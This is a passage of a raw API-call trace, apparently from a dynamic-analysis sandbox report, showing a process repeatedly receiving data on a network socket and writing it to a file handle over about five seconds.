lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0124.566] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0124.757] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0124.758] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0124.943] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0124.944] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0124.944] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0125.126] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0125.126] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xa9f0, lpOverlapped=0x0) returned 1 [0125.127] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0125.127] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0125.319] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0125.319] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xa9f0, lpOverlapped=0x0) returned 1 [0125.320] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0125.479] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0125.480] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0125.480] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0125.481] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0125.627] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0125.629] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 53200 [0125.820] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xcfd0, lpOverlapped=0x0) returned 1 [0125.821] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0125.821] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0125.971] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0125.971] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0125.971] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0125.971] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0126.108] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0126.108] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0126.108] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0126.108] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0126.254] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0126.254] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0126.255] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0126.255] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0126.403] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0126.403] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0126.404] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0126.404] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0126.546] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0126.546] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0126.548] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0126.548] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0126.548] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0126.664] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0126.665] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0126.665] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0126.785] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0126.785] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0126.786] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0126.932] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0126.933] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0126.933] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0127.075] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0127.075] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xb4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xb4e0, lpOverlapped=0x0) returned 1 [0127.076] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0127.076] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0127.205] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0127.205] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xb4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xb4e0, lpOverlapped=0x0) returned 1 [0127.206] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 53200 [0127.364] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xcfd0, lpOverlapped=0x0) returned 1 [0127.368] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0127.369] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0127.520] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0127.521] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xb4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xb4e0, lpOverlapped=0x0) returned 1 [0127.521] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0127.521] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0127.522] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0127.677] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0127.678] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 11200 [0127.678] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0127.680] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 33600 [0127.749] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0127.749] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0127.749] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0127.890] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0127.890] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xb4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xb4e0, lpOverlapped=0x0) returned 1 [0127.891] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0128.029] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0128.031] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0128.031] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0128.031] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 47600 [0128.163] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xb9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xb9f0, lpOverlapped=0x0) returned 1 [0128.163] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0128.163] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0128.164] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0128.296] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0128.297] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0128.387] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0128.388] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 56000 [0128.531] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0xdac0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0xdac0, lpOverlapped=0x0) returned 1 [0128.531] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0128.531] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0128.657] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0128.658] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0128.659] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0128.659] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0128.659] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0128.745] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0128.745] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0128.745] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0128.864] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0128.864] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0128.865] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0128.865] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0128.865] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0128.983] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0128.984] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 5600 [0128.984] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0128.984] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0129.085] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0129.086] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0129.086] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0129.086] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0129.187] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0129.188] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0129.188] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 65536 [0129.352] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0129.353] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xfaf0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xfaf0, lpOverlapped=0x0) returned 1 [0129.353] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 15664 [0129.353] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x3d30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x3d30, lpOverlapped=0x0) returned 1 [0129.354] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0129.396] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0129.397] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0129.397] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 42000 [0129.489] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0129.490] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0129.490] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0129.490] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0129.490] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 39200 [0129.612] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0129.612] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 14000 [0129.612] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0129.612] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 30800 [0129.687] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0129.687] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 2800 [0129.688] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 44800 [0129.766] WriteFile (in: hFile=0x6b4, lpBuffer=0x301b684*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x301b684*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0129.766] WriteFile (in: hFile=0x6b4, lpBuffer=0x300bb88*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300bb88*, lpNumberOfBytesWritten=0x19e7b0*=0xa9f0, lpOverlapped=0x0) returned 1 [0129.771] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: buf=0x300b678*) returned 8400 [0129.771] WriteFile (in: hFile=0x6b4, lpBuffer=0x300b678*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x300b678*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0129.771] recv (in: s=0x6bc, buf=0x300b678, len=65536, flags=0 | out: 